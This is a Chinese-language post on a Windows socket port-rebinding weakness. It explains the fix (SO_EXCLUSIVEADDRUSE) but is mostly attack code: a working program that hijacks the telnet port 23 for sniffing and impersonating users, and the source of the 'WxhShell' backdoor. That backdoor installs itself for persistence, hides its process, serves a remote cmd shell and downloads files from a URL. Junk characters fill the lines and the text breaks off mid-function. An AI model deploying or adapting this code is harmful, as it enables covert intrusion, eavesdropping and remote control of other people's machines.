在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
bC{~/ JP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
cP
Y^Bf5) v;A saddr.sin_family = AF_INET;
f;Dz(~hw G@(7d1){ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$200?[ Yl f4q/- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
S&0x:VW =os j}( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{J]|mxo 8,=$>@u 这意味着什么?意味着可以进行如下的攻击:
(*1A0+S90 cZ(XY} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
|
jkmh6 E0|aI4S4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
83n: h08 ubQ(O uM" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
;CrA A4^+p0@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
68SM br `l}-S |a 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
L9.#/%I\ GB=q}@&8p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:8ZxO wwv tX_eN 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
(!b:
gG 6IX!9I\sT #include
7-dwr?j7 #include
BAhC-;B#R #include
M Q6Y^,B #include
,y >Na{@Y DWORD WINAPI ClientThread(LPVOID lpParam);
@K/Ia!Lw int main()
@.{ {
A_.QHUjpx WORD wVersionRequested;
2*|]#W DWORD ret;
V#~.Jg7 WSADATA wsaData;
!2Orklzd1 BOOL val;
A0XFu}
SOCKADDR_IN saddr;
JVkawkeX SOCKADDR_IN scaddr;
sa` Yan int err;
S|[UEU3FpB SOCKET s;
%Z7!9+< SOCKET sc;
g{%'; int caddsize;
UyQn onS HANDLE mt;
o;[oy#aWl_ DWORD tid;
'GFzI:Xr wVersionRequested = MAKEWORD( 2, 2 );
]VvJ1Xn0 err = WSAStartup( wVersionRequested, &wsaData );
1@WGbORc* if ( err != 0 ) {
82X. printf("error!WSAStartup failed!\n");
^Toi_ return -1;
R+K[/AA }
#RF=a7&F saddr.sin_family = AF_INET;
^6+x0[13 #jX>FXo //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@I&"P:E0F; &Yg/08* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
%gaKnT(|r saddr.sin_port = htons(23);
QP#Wfk(C if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wLtTC4D {
D}T,z printf("error!socket failed!\n");
"" U_|JH- return -1;
BGX@n#: }
}]I?vyQ#V val = TRUE;
fDd!Mt //SO_REUSEADDR选项就是可以实现端口重绑定的
<IVz mzpL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
yShHFlO= {
0REWbcxd" printf("error!setsockopt failed!\n");
sYXS#;|M return -1;
e@OA> }
GHy#D]Z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'T[zh#v>S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
kgz{m;R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
sD8S2 ]lUu%<-; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o(P:f)B {
Z=0W@_s ret=GetLastError();
=FmU]DV printf("error!bind failed!\n");
x/=j$oA return -1;
D@^ZpN8r }
uNbA>*c4M listen(s,2);
%'e(3;YI while(1)
rHlF& ET {
IMza
2 caddsize = sizeof(scaddr);
C~qhwwh //接受连接请求
{0 ~0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
vgj^ - if(sc!=INVALID_SOCKET)
lQBM0|n {
Gq*)]X{Ua mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
E0Q"qEvU if(mt==NULL)
R(sM(x5a` {
PoJ$%_a} printf("Thread Creat Failed!\n");
$hSZ@w|IF break;
:2E1aVo4b }
j&A3s{S4A }
(GG"'bYk CloseHandle(mt);
2~V Im#
}
>Mw &Tw}o closesocket(s);
#ja`+w} WSACleanup();
t\i1VXtO return 0;
m]\zt }
SbZt\a 8 DWORD WINAPI ClientThread(LPVOID lpParam)
6>:~?gs {
"Vq]|j,B/c SOCKET ss = (SOCKET)lpParam;
4Umsc>yfK SOCKET sc;
aLi_Hrb9 unsigned char buf[4096];
Z~c'h SOCKADDR_IN saddr;
M"^Vf{X^ long num;
5vft}f DWORD val;
@@83PJFid DWORD ret;
_wNPA1q0J //如果是隐藏端口应用的话,可以在此处加一些判断
b`W*vduf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|*KS<iHr% saddr.sin_family = AF_INET;
"<x~{BN? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
lGUV(D saddr.sin_port = htons(23);
oDP((I2- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
</gp3WQ. {
SDHc[66' printf("error!socket failed!\n");
S2E HmE& return -1;
PuCDsojclh }
4|N\Q=, val = 100;
o^Yspp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vQ"s {
`8;,&<U'` ret = GetLastError();
]TgP!M&q return -1;
O}_a3>1DY }
EWIc|b: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3]<re{)J9O {
*frJ^ Ws{ ret = GetLastError();
liqR#< return -1;
iN_D8dI }
=5~F6to if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
M~Qj'VVL {
|90
+)/$4 printf("error!socket connect failed!\n");
=kh>s$We closesocket(sc);
>:E*7 closesocket(ss);
f&}A!uLe4x return -1;
lhoq3A }
d-;9L56{P while(1)
.l+~)$ {
`E5"Pmg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
P5>5ps"iU //如果是嗅探内容的话,可以再此处进行内容分析和记录
`%M-7n9Y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
!?o$-+a| num = recv(ss,buf,4096,0);
^YR|WK Y if(num>0)
oD#>8Aw s send(sc,buf,num,0);
7sc<dM else if(num==0)
R
pI<]1 break;
ncattp num = recv(sc,buf,4096,0);
s)YP%vn# if(num>0)
zLQ#GF send(ss,buf,num,0);
RO{@RhnV else if(num==0)
j-YJ." break;
a4(?]ND~6 }
rS )b1nPA closesocket(ss);
q|o|/ O-{ closesocket(sc);
Y/,$Y]%g return 0 ;
b"M`@';+ }
nS+FX&_ *Z`XG_ s5 eKVALUw ==========================================================
o}MzqKfu Sf&?3a+f 下边附上一个代码,,WXhSHELL
jD/7/G* QW~5+c9JJ ==========================================================
a3UPbl3^ g[s\~MF@s #include "stdafx.h"
Z-SwJtWk *SkiFEoD #include <stdio.h>
B9e.-Xaf #include <string.h>
|Vwc/9`t]> #include <windows.h>
g TXW2S #include <winsock2.h>
+K;Y+
K&;2 #include <winsvc.h>
)W]>\=@Y #include <urlmon.h>
N
pXgyD }B"|z'u #pragma comment (lib, "Ws2_32.lib")
_t|G@D{ #pragma comment (lib, "urlmon.lib")
+Cf0Y2*@hM e" Eqi- #define MAX_USER 100 // 最大客户端连接数
qsihQd #define BUF_SOCK 200 // sock buffer
x(9;!4O> #define KEY_BUFF 255 // 输入 buffer
TTZ['HP
oI 1a&/Zlr #define REBOOT 0 // 重启
5'X74` #define SHUTDOWN 1 // 关机
M_h8#7 {G U.RW4df%E #define DEF_PORT 5000 // 监听端口
lMBX!9z O:;OR'N9 #define REG_LEN 16 // 注册表键长度
-4e)N*VVu #define SVC_LEN 80 // NT服务名长度
9K ;k% 4r1<,{gCS // 从dll定义API
*O+R|Cdp/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>;
&s['H typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
v`S2M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}A1|jY)x typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*#lBQBH|. @%OPy|=,{ // wxhshell配置信息
mA(nyF struct WSCFG {
"mPSA Z int ws_port; // 监听端口
w dGpt_ char ws_passstr[REG_LEN]; // 口令
\[hn]@@ int ws_autoins; // 安装标记, 1=yes 0=no
'u(=eJ@1 char ws_regname[REG_LEN]; // 注册表键名
[J)/Et char ws_svcname[REG_LEN]; // 服务名
7`IUMYl#~ char ws_svcdisp[SVC_LEN]; // 服务显示名
"H>r-cyh char ws_svcdesc[SVC_LEN]; // 服务描述信息
jq57C}X}2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
E3S%s int ws_downexe; // 下载执行标记, 1=yes 0=no
4D^ M<Xn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=`qRu char ws_filenam[SVC_LEN]; // 下载后保存的文件名
#%?FM> #)^^_ };
Z}8k[*. ]By0Xifew // default Wxhshell configuration
M*5,O struct WSCFG wscfg={DEF_PORT,
17>5#JLP "xuhuanlingzhe",
W/ g|{t[ 1,
e9CP802#2 "Wxhshell",
9ZDVy7m\i- "Wxhshell",
FZe:co8Mu "WxhShell Service",
*.,"N} "Wrsky Windows CmdShell Service",
O87"[c`> "Please Input Your Password: ",
J| SwQE~ 1,
6OL41g' "
http://www.wrsky.com/wxhshell.exe",
lSH ZV
Fd "Wxhshell.exe"
XkPv*%Er8 };
vv+TKO F:M>z= // 消息定义模块
6xH;:B)d char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
X=v~^8M7% char *msg_ws_prompt="\n\r? for help\n\r#>";
&Nc[$H7< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)@}A
r char *msg_ws_ext="\n\rExit.";
}m6f^fs} char *msg_ws_end="\n\rQuit.";
?gLR<d_ char *msg_ws_boot="\n\rReboot...";
QVIcb;&:} char *msg_ws_poff="\n\rShutdown...";
In
f9wq\ char *msg_ws_down="\n\rSave to ";
9s!
2 wwh /~40rXH2C char *msg_ws_err="\n\rErr!";
vO\:vp4fH char *msg_ws_ok="\n\rOK!";
t]s94 R q JOBz{;:R{ char ExeFile[MAX_PATH];
8r,9OM int nUser = 0;
m_a^RB( HANDLE handles[MAX_USER];
gaQ[3g int OsIsNt;
w{PUj L-#e?Y}$J SERVICE_STATUS serviceStatus;
b-PSm=` SERVICE_STATUS_HANDLE hServiceStatusHandle;
q 75ky1^1: (tepmcf // 函数声明
9%sFJ int Install(void);
d9O:,DKf int Uninstall(void);
cZqfz int DownloadFile(char *sURL, SOCKET wsh);
U+-F*$PO+ int Boot(int flag);
Pp,Um( void HideProc(void);
R]Hz8 _X int GetOsVer(void);
yahAD.Xuo@ int Wxhshell(SOCKET wsl);
R.K?
void TalkWithClient(void *cs);
tKwn~T int CmdShell(SOCKET sock);
J*5hf: ?i int StartFromService(void);
14mf}"z\ int StartWxhshell(LPSTR lpCmdLine);
Q4RpK(N Nepi|{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
k@S)j< VOID WINAPI NTServiceHandler( DWORD fdwControl );
'=VH6@vZ_' >tN5vWW // 数据结构和表定义
ton1oq
SERVICE_TABLE_ENTRY DispatchTable[] =
%NNj9Bl<VV {
DKX/W+#a {wscfg.ws_svcname, NTServiceMain},
kP@HG<~ {NULL, NULL}
IXnb]q. };
TN5>" ??" /ip lU // 自我安装
+jUgx;u, int Install(void)
]D O&x+Rb {
lr,q{; char svExeFile[MAX_PATH];
Z:!IX^q;}n HKEY key;
6,X+1EXY strcpy(svExeFile,ExeFile);
'xIyGDe cS4DN // 如果是win9x系统,修改注册表设为自启动
vm8$:W2 } if(!OsIsNt) {
!v0"$V5+i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`xCOR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CphFv!k'Z RegCloseKey(key);
_ Hc%4I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;`DD}j` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
W RF.[R" RegCloseKey(key);
0LdJZP return 0;
F>*{e }
<:">mV+/ }
e!GZSk
}
K*1.'9/ else {
Goxl3LS< oe9lF*$/ // 如果是NT以上系统,安装为系统服务
&:<, c12 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
1RLym9JN if (schSCManager!=0)
`{[RjM` {
u"`*DFjo* SC_HANDLE schService = CreateService
*7ZtNo[+ (
#.H}r6jqs schSCManager,
X3<K 1/< wscfg.ws_svcname,
P;73Hr[E# wscfg.ws_svcdisp,
h$>wv` SERVICE_ALL_ACCESS,
1c$vLo832 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Us]=Y}( SERVICE_AUTO_START,
eNbpwne SERVICE_ERROR_NORMAL,
4ZwKpQ6 svExeFile,
sef]>q NULL,
/N6}*0Ru NULL,
X d3}Vn= NULL,
$#e1SS32 NULL,
0]B(a NULL
?^}_j
vT );
+>SRrIi if (schService!=0)
V^TbP. {
FH8k'Hxg CloseServiceHandle(schService);
{WQq}-( CloseServiceHandle(schSCManager);
y \D=Z
N@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
<.bRf strcat(svExeFile,wscfg.ws_svcname);
1Ipfw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Xh
F_] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
D<>@
%"% RegCloseKey(key);
Ab2Q
\+, return 0;
I-kWS4 }
5wv fF.v }
!X]8dyW CloseServiceHandle(schSCManager);
uH:YKH':/ }
V%*b@zv }
:5b0np! ~E)fpGJ return 1;
9%tobo@J~n }
F'FP0t!S O6X"RsI} // 自我卸载
2: SO_O4C int Uninstall(void)
v+xB7w {
'#.#$8l HKEY key;
Ls}7VKl' qtMD CXZ^n if(!OsIsNt) {
PyBD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.UQE{.? RegDeleteValue(key,wscfg.ws_regname);
i{Ds&{ RegCloseKey(key);
UE.4qY_7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
, jU5|2 RegDeleteValue(key,wscfg.ws_regname);
$!B}$I;cd RegCloseKey(key);
;j9\b9m return 0;
`XKVr }
x#*QfE/E(@ }
3I $>uR }
9t$]X>} else {
bm#(? AXPMnbUS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~Lz%.a;o if (schSCManager!=0)
tU:EN;H {
q%i-`S]}qL SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=5x&8i if (schService!=0)
Lja 7 {
!RH.|} if(DeleteService(schService)!=0) {
/.1.MssQM CloseServiceHandle(schService);
!h`kX[: CloseServiceHandle(schSCManager);
KzV 2MO-$ return 0;
f0>!qt }
"@/62b CloseServiceHandle(schService);
hgj <>H| }
g[[;w*;z CloseServiceHandle(schSCManager);
Ii&7rdoxe }
t:)ERT") }
@t*t+Vqw j Ux
z return 1;
Qk9 76 }
}H"kU2l eE@&ze>X // 从指定url下载文件
[eUftr9&0 int DownloadFile(char *sURL, SOCKET wsh)
fo0+dzazY {
AUe# RP HRESULT hr;
~1L:_Sg* char seps[]= "/";
OLC{iD# char *token;
7.g[SBUOG char *file;
t2BL(yB char myURL[MAX_PATH];
,|kDsR! char myFILE[MAX_PATH];
6#@ f'~s ])}(k strcpy(myURL,sURL);
cC'x6\a token=strtok(myURL,seps);
n$n7-7 while(token!=NULL)
r^,<(pbd {
x[3A+ file=token;
nh>K`+>co token=strtok(NULL,seps);
cV{o?3<:B }
XB59Vm0E= o*rQP!8,oy GetCurrentDirectory(MAX_PATH,myFILE);
x1&W^~ strcat(myFILE, "\\");
6CbxuzYer strcat(myFILE, file);
$~;D9 send(wsh,myFILE,strlen(myFILE),0);
-E"GX send(wsh,"...",3,0);
/X'(3'a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
G 2!xPHz if(hr==S_OK)
u8GMUN return 0;
n\z,/'d" else
{gbn/{ return 1;
wV\gj~U;P T"7~AbgNU }
$(e#aHB X;v$5UKU // 系统电源模块
'6y}ZE[ int Boot(int flag)
MY#
{
B=8Iu5m HANDLE hToken;
UFAL1c<V TOKEN_PRIVILEGES tkp;
Xce0~\_A >K9#3
4hP if(OsIsNt) {
4;`oUt'. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
V'*~L\;pU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!`41q=r tkp.PrivilegeCount = 1;
uVyGk~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2owEw*5jl/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
o]:3H8 if(flag==REBOOT) {
Ig]iT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
kVK/9dy-F return 0;
OCZaQ33 }
s, k else {
LJk%#yV|_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&F STpBu return 0;
;2'q_Btk4 }
Urr#N }
X3'H
`/ else {
l7# yZ*<v if(flag==REBOOT) {
6`vC1PK^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
M" ^PW,k return 0;
./Q, }
ib{-A& else {
N_:qRpp6i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`\Hf]b return 0;
FFdBtB }
b4^`DHRu6 }
0cK{ m3Il3ZY. return 1;
@2'Mt}R> }
gUyR_5q)8l T^J >ZDA // win9x进程隐藏模块
0d8%T<=J void HideProc(void)
GFr|E8 {
u#}[ZoI 5onm]V] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2^i(gaXUQ if ( hKernel != NULL )
g1t0l%_7^ {
,U(1NK8o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
i[wb0yL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Jgnhn>dHe FreeLibrary(hKernel);
o sKKt?^? }
a!O0,y Q0EiEX) return;
8Q_SRwN }
>jD[X5Y 4Y[1aQ(% // 获取操作系统版本
(}}S9 K int GetOsVer(void)
W`c'=c {
E[Cb|E OSVERSIONINFO winfo;
|4'Y/re winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
y+7w,m2 GetVersionEx(&winfo);
~NW32
O)/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
\7CGUB>L return 1;
B^g ?=|{ else
(<^ yqH? return 0;
lRXK\xIP , }
L|p
Z$HB Ol!ntNhXm // 客户端句柄模块
_%QhOY5tv" int Wxhshell(SOCKET wsl)
nqLA}u4IM {
}iuWAFZbGS SOCKET wsh;
j_Yp>=+[ struct sockaddr_in client;
I_RsYw DWORD myID;
qgfi\/$6 o"*AtGR+" while(nUser<MAX_USER)
812$`5l {
t. ;LnrY int nSize=sizeof(client);
~?(N wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
rS;Dmm if(wsh==INVALID_SOCKET) return 1;
F i0GknQ+ EAM5{Nc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
I'LnI* if(handles[nUser]==0)
1')%`~ closesocket(wsh);
'3g[]M@M else
b9!FC$^J nUser++;
WYr/oRO }
BqT y~{)+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[sW3l:^ {E@Lft- return 0;
A,a.8!*}vd }
k?,1x~ ^0 -:G6H // 关闭 socket
:5{wf Am void CloseIt(SOCKET wsh)
DP|D\+YyYA {
xoN3 closesocket(wsh);
i*Z"Me nUser--;
-PfX0y9n ExitThread(0);
#?S^kM-0 }
6ZP"p<xX Q637N|01 // 客户端请求句柄
`G}TG( void TalkWithClient(void *cs)
`7r@a {
maNl^i 3eF-8Z(f SOCKET wsh=(SOCKET)cs;
r [*Vqcz char pwd[SVC_LEN];
<_-hRbS char cmd[KEY_BUFF];
~Yy>zUH^X char chr[1];
X"fb; sGT int i,j;
5;YMqUkw Ys\Wj%6A while (nUser < MAX_USER) {
H*r)Z90 4GX-ma, if(wscfg.ws_passstr) {
B\o Mn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C)`Fv=]R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
85LAYaw //ZeroMemory(pwd,KEY_BUFF);
z62;cv i=0;
A|<jX} while(i<SVC_LEN) {
C@'h<[v`1v N u<_} // 设置超时
$adbCY\ fd_set FdRead;
6V7B;tB struct timeval TimeOut;
%yv<y+yP~ FD_ZERO(&FdRead);
]d!
UJ&<? FD_SET(wsh,&FdRead);
qm"rY\: TimeOut.tv_sec=8;
Q|#W#LV,K TimeOut.tv_usec=0;
,Vt/(x- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1ng!G 7g if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
?j"KV_ ?B2] -+Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Gz,i~XX pwd
=chr[0]; {?:X8&Sf
if(chr[0]==0xd || chr[0]==0xa) { 4b98KsYg
pwd=0; $\X[@E S0
break; sT}.v*
} rustMs2p
i++; Z$/xy"
} o!kbK#k
CEX"D`
// 如果是非法用户,关闭 socket t.xxSU5~%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AP'*Nh@Ik(
} I|^;B8[
B><d9d
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iKX-myCz
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]&lY%"U$i
^hZ0IM
while(1) { )b)-ZS7
xc=b
|:A
ZeroMemory(cmd,KEY_BUFF); ^")Q YE
lh7jux
// 自动支持客户端 telnet标准 U:^PC
x`
j=0; --$
4Q(#
while(j<KEY_BUFF) { old(i:2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : y%d
cmd[j]=chr[0]; x!5'`A!W%
if(chr[0]==0xa || chr[0]==0xd) { Vl&?U
cmd[j]=0; ,-8"R`UI8
break; DtXrWS/
} #49kjv@
j++; g?z/2zKR
} 3G}x;Cp\D
1g8_Xe4
// 下载文件 nn@-W]
if(strstr(cmd,"http://")) { :~Wrf8UQ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); L^@'q6*}
if(DownloadFile(cmd,wsh)) oX30VfT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5z7U1:
else gOSJM1Mr3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ME46V6[LX]
} =P't(<
else { Q(wx nm
a&/#X9/
switch(cmd[0]) { TaKLzd2
PgtJ3oq[}
// 帮助 6dabU*
case '?': { J8uLJ
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kMi/>gpQ
break; u0|8Tgf
} s4A43i'g!h
// 安装 RJ 8+h
case 'i': { dCi?SIN
if(Install()) $'BSH4~|.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pg,b-W?n*
else dJJP3}M/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G_bG
break; We$:&K0
} E ~Sb
// 卸载 3!XjtVhK?I
case 'r': { $q6BP'7
if(Uninstall()) 7K,-01-:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _x%7@.TB
else y{ibO}s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uwzvb gup?
break; [$0p+1
} g!@<n1 L
// 显示 wxhshell 所在路径 q rJ`1
case 'p': { {XR6>]
char svExeFile[MAX_PATH]; x+Ttl4
strcpy(svExeFile,"\n\r"); H?<N.Dq
strcat(svExeFile,ExeFile); C'\-
@/
send(wsh,svExeFile,strlen(svExeFile),0); k1w_[w[
break; 6&
e3Nt
} i2E)P x
// 重启 ehzM)uK
case 'b': { "c3Grfoz
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]R h#g5X
if(Boot(REBOOT)) |=Eo?Q_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (G zb
else { "6MVvpy"
closesocket(wsh); QdT}wkX
ExitThread(0); z>58dA@f
} 1"zDin!A
break; _4"mAPt
} }Lc-7[/
// 关机 nzd2zY>V
case 'd': { sF!($k;!
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fd+hA
if(Boot(SHUTDOWN)) UK595n;P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _"?.!
else { %<k2#6K
closesocket(wsh); Gw>^[dmt!
ExitThread(0); .AR#&mL9
} d4u})
break; t2/#&J]
} 6IBgt!=,
// 获取shell #pP[xE"Y
case 's': { R)_%i<nq\
CmdShell(wsh); fol,xMc&
closesocket(wsh); tNO-e|~'
ExitThread(0); \Jx04[=
break; KK&rb~
} Aw}"gpL
// 退出 CJ1 7n
case 'x': { fsJ9bQm/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U{7w#>V
.
CloseIt(wsh); ~HTmO;HNf"
break; xf<at ->
} Bp_$.!Qy
// 离开 tjIl-IQ
case 'q': { a|%J=k>>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9>l*lCA
closesocket(wsh); Ov5"
WSACleanup(); w`4=_J=GO
exit(1); ^V ?<K.F
break; ^8 z R
} rf
$ QxJ
} o)Iff)m$
} $;1#To
)m`<H>[Eb=
// 提示信息 R n}l6kbM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
gp5_Z-me
} *,e:]!*
} ]JCvyz
H
-=%@L&y1
return; QqFR\6
} (\\eo
r[2ILe
// shell模块句柄 {_7i8c<s=
int CmdShell(SOCKET sock) ?3nR
{ CnpV:>V=
STARTUPINFO si; *!q1Kr6r
ZeroMemory(&si,sizeof(si)); C`$n[kCJ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #r#1JtT
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T=iJGRctB
PROCESS_INFORMATION ProcessInfo; Id_2PkIN$~
char cmdline[]="cmd"; r"C
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SQ44
return 0; YM1'L\^
}
i*|\KM?P
Z'4./
// 自身启动模式 Wi*.TWz3
int StartFromService(void) Gr7=:+0n|P
{ !Y$h"<M
typedef struct O[I\A[*
{ k_sg
?(-!o
DWORD ExitStatus; K?[q%W]%
DWORD PebBaseAddress; xDG2ws=@D
DWORD AffinityMask; u$>4F|=T
DWORD BasePriority; p~SClaR3H
ULONG UniqueProcessId; wfNk=)^$
ULONG InheritedFromUniqueProcessId; mtJ9nC
} PROCESS_BASIC_INFORMATION; N/Z2hn/m
YUx.BZf7
